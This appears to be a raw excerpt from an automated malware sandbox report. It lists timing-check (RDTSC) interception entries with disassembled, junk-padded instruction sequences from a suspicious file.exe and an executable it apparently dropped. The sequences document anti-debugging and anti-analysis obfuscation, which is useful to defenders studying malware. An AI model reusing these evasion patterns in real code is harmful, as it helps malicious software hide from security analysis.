Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14041AF second address: 14041B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B902A4 second address: 4B90336 instructions: 0x00000000 rdtsc 0x00000002 mov ch, 9Ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007FBAA4B8B5F5h 0x0000000b push ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FBAA4B8B5F3h 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FBAA4B8B5F4h 0x0000001e and ah, FFFFFFA8h 0x00000021 jmp 00007FBAA4B8B5EBh 0x00000026 popfd 0x00000027 pushfd 0x00000028 jmp 00007FBAA4B8B5F8h 0x0000002d jmp 00007FBAA4B8B5F5h 0x00000032 popfd 0x00000033 popad 0x00000034 pop ebp 0x00000035 pushad 0x00000036 push esi 0x00000037 pop eax 0x00000038 push eax 0x00000039 push edx 0x0000003a mov eax, edi 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90376 second address: 4B9037C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9037C second address: 4B903CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FBAA4B8B5F8h 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 jmp 00007FBAA4B8B5EEh 0x00000017 mov ah, BCh 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FBAA4B8B5F8h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90402 second address: 4B90406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90406 second address: 4B90423 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90423 second address: 4B9048B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBAA4BFA507h 0x00000009 adc ecx, 4FE2DEEEh 0x0000000f jmp 00007FBAA4BFA509h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FBAA4BFA500h 0x0000001b adc esi, 4EAAF668h 0x00000021 jmp 00007FBAA4BFA4FBh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a xchg eax, ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9048B second address: 4B9048F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9048F second address: 4B904AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA507h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B904AA second address: 4B904F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov edx, 39AF5736h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007FBAA4B8B5ECh 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FBAA4B8B5EDh 0x0000001e sbb cx, A896h 0x00000023 jmp 00007FBAA4B8B5F1h 0x00000028 popfd 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B904F0 second address: 4B904F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B904F5 second address: 4B90503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBAA4B8B5EAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90503 second address: 4B90507 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90507 second address: 4B90540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FBAA4B8B5F7h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBAA4B8B5F5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9056A second address: 4B90593 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 491FCBC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx ecx, dx 0x0000000c popad 0x0000000d push 71D12B68h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FBAA4BFA505h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90593 second address: 4B905AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, CBh 0x00000005 movzx ecx, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 0550F0C0h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 mov ch, dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9063C second address: 4B90650 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA500h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906BD second address: 4B906C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906C3 second address: 4B906C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906C7 second address: 4B906CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906CB second address: 4B90720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub edx, esi 0x0000000a pushad 0x0000000b mov bh, ACh 0x0000000d popad 0x0000000e mov edi, dword ptr [ebp+08h] 0x00000011 pushad 0x00000012 call 00007FBAA4BFA502h 0x00000017 mov dx, cx 0x0000001a pop ecx 0x0000001b popad 0x0000001c dec edi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov di, ax 0x00000023 pushfd 0x00000024 jmp 00007FBAA4BFA502h 0x00000029 add si, 19F8h 0x0000002e jmp 00007FBAA4BFA4FBh 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90720 second address: 4B9073A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 20D04C1Ah 0x00000008 mov bh, 0Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d lea ebx, dword ptr [edi+01h] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov edx, 2263EFCAh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9073A second address: 4B9073F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9073F second address: 4B90745 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90745 second address: 4B90790 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edi+01h] 0x0000000b jmp 00007FBAA4BFA504h 0x00000010 inc edi 0x00000011 jmp 00007FBAA4BFA500h 0x00000016 test al, al 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FBAA4BFA507h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90790 second address: 4B907A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 mov eax, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007FBB171A38CBh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 mov bh, al 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B907A5 second address: 4B907B6 instructions: 0x00000000 rdtsc 0x00000002 mov dh, 7Fh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ecx, edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov si, 20A7h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B907B6 second address: 4B907BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B907BC second address: 4B90813 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b shr ecx, 02h 0x0000000e jmp 00007FBAA4BFA506h 0x00000013 rep movsd 0x00000015 rep movsd 0x00000017 rep movsd 0x00000019 rep movsd 0x0000001b rep movsd 0x0000001d jmp 00007FBAA4BFA500h 0x00000022 mov ecx, edx 0x00000024 pushad 0x00000025 mov dx, ax 0x00000028 mov esi, 54B36DB9h 0x0000002d popad 0x0000002e and ecx, 03h 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 push ebx 0x00000035 pop eax 0x00000036 push edi 0x00000037 pop esi 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90813 second address: 4B90819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90819 second address: 4B90839 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA500h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsb 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push edx 0x00000011 pop eax 0x00000012 mov dh, E0h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90839 second address: 4B90866 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBAA4B8B5F5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90866 second address: 4B9086B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9086B second address: 4B90871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90871 second address: 4B90882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ah, 4Bh 0x0000000e push ebx 0x0000000f pop esi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90882 second address: 4B908AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cx, di 0x00000012 mov bh, D5h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B908AA second address: 4B9056A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FBAA4BFA501h 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr fs:[00000000h], ecx 0x00000015 jmp 00007FBAA4BFA4FDh 0x0000001a pop ecx 0x0000001b jmp 00007FBAA4BFA4FEh 0x00000020 pop edi 0x00000021 jmp 00007FBAA4BFA500h 0x00000026 pop esi 0x00000027 pushad 0x00000028 mov ebx, eax 0x0000002a pushad 0x0000002b pushad 0x0000002c popad 0x0000002d mov al, E6h 0x0000002f popad 0x00000030 popad 0x00000031 pop ebx 0x00000032 jmp 00007FBAA4BFA501h 0x00000037 leave 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007FBAA4BFA4FCh 0x0000003f add ch, FFFFFF98h 0x00000042 jmp 00007FBAA4BFA4FBh 0x00000047 popfd 0x00000048 jmp 00007FBAA4BFA508h 0x0000004d popad 0x0000004e retn 0008h 0x00000051 cmp dword ptr [ebp-2Ch], 10h 0x00000055 mov eax, dword ptr [ebp-40h] 0x00000058 jnc 00007FBAA4BFA4F5h 0x0000005a push eax 0x0000005b lea edx, dword ptr [ebp-00000590h] 0x00000061 push edx 0x00000062 call esi 0x00000064 push 00000008h 0x00000066 pushad 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007FBAA4BFA4FAh 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90A9A second address: 4B90AB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90AB0 second address: 4B90AB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90AB6 second address: 4B90AF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FBAA4B8B5F0h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FBAA4B8B5F7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90AF0 second address: 4B90AF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 69ECD8 second address: 69ECDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 69ECDC second address: 69ED03 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBAA4BFA4F8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBAA4BFA508h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 80D97D second address: 80D994 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FBAA4B8B5ECh 0x0000000c pop ebx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 80D994 second address: 80D9E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4BFA4FFh 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007FBAA4BFA509h 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop eax 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007FBAA4BFA4FCh 0x0000001c js 00007FBAA4BFA4FCh 0x00000022 jno 00007FBAA4BFA4F6h 0x00000028 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 80D9E0 second address: 80D9E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 80D9E5 second address: 80D9EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 80DB7D second address: 80DBAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBAA4B8B5EDh 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FBAA4B8B5F9h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 810A0A second address: 810A2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA501h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b js 00007FBAA4BFA4FEh 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 810BBF second address: 810BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 810BC3 second address: 810BCD instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBAA4BFA4F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 810BCD second address: 810BFF instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBAA4B8B5ECh 0x00000008 jne 00007FBAA4B8B5E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 jp 00007FBAA4B8B5ECh 0x0000001b jns 00007FBAA4B8B5E6h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FBAA4B8B5EFh 0x00000028 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 810D83 second address: 810D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jnp 00007FBAA4BFA4FCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 810D92 second address: 810DF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jg 00007FBAA4B8B604h 0x0000000c nop 0x0000000d pushad 0x0000000e jnp 00007FBAA4B8B5ECh 0x00000014 mov edx, dword ptr [ebp+122D38C3h] 0x0000001a mov ax, di 0x0000001d popad 0x0000001e push 00000000h 0x00000020 mov dword ptr [ebp+122D1E0Dh], ecx 0x00000026 jnc 00007FBAA4B8B5E6h 0x0000002c push 9E14E80Ah 0x00000031 push eax 0x00000032 push edx 0x00000033 push ecx 0x00000034 jmp 00007FBAA4B8B5EBh 0x00000039 pop ecx 0x0000003a rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 810DF0 second address: 810E5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA502h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 61EB1876h 0x00000010 mov cx, di 0x00000013 push 00000003h 0x00000015 mov esi, dword ptr [ebp+122D38B7h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007FBAA4BFA4F8h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000019h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 mov esi, dword ptr [ebp+122D3A8Bh] 0x0000003d push 00000003h 0x0000003f mov dword ptr [ebp+122D26ECh], esi 0x00000045 call 00007FBAA4BFA4F9h 0x0000004a js 00007FBAA4BFA504h 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 pop eax 0x00000054 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 810E5C second address: 810E60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 810E60 second address: 810E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 jno 00007FBAA4BFA4F6h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jne 00007FBAA4BFA4FEh 0x0000001d mov eax, dword ptr [eax] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edi 0x00000023 pop edi 0x00000024 pop eax 0x00000025 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 810E8D second address: 810EE9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jg 00007FBAA4B8B5E6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jg 00007FBAA4B8B5F0h 0x00000016 pop eax 0x00000017 jng 00007FBAA4B8B5FEh 0x0000001d jmp 00007FBAA4B8B5F8h 0x00000022 lea ebx, dword ptr [ebp+124458D5h] 0x00000028 mov ecx, dword ptr [ebp+122D21C1h] 0x0000002e xchg eax, ebx 0x0000002f push ecx 0x00000030 push ecx 0x00000031 push edi 0x00000032 pop edi 0x00000033 pop ecx 0x00000034 pop ecx 0x00000035 push eax 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 ja 00007FBAA4B8B5E6h 0x0000003f rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 810EE9 second address: 810EF7 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBAA4BFA4F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 810EF7 second address: 810EFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 821972 second address: 821980 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 821980 second address: 821984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 821984 second address: 82198A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 82F83E second address: 82F842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 82F842 second address: 82F84F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 82D868 second address: 82D86D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 82DC9B second address: 82DCA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 82DCA1 second address: 82DCCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FBAA4B8B5F8h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007FBAA4B8B5E6h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 82DCCB second address: 82DCCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 82DDEE second address: 82DDF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 82E0CC second address: 82E0F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4BFA4FAh 0x00000009 popad 0x0000000a pushad 0x0000000b jc 00007FBAA4BFA4F6h 0x00000011 jmp 00007FBAA4BFA4FBh 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 82E94F second address: 82E97E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5F6h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBAA4B8B5EFh 0x0000000e jnl 00007FBAA4B8B5E6h 0x00000014 rdtsc
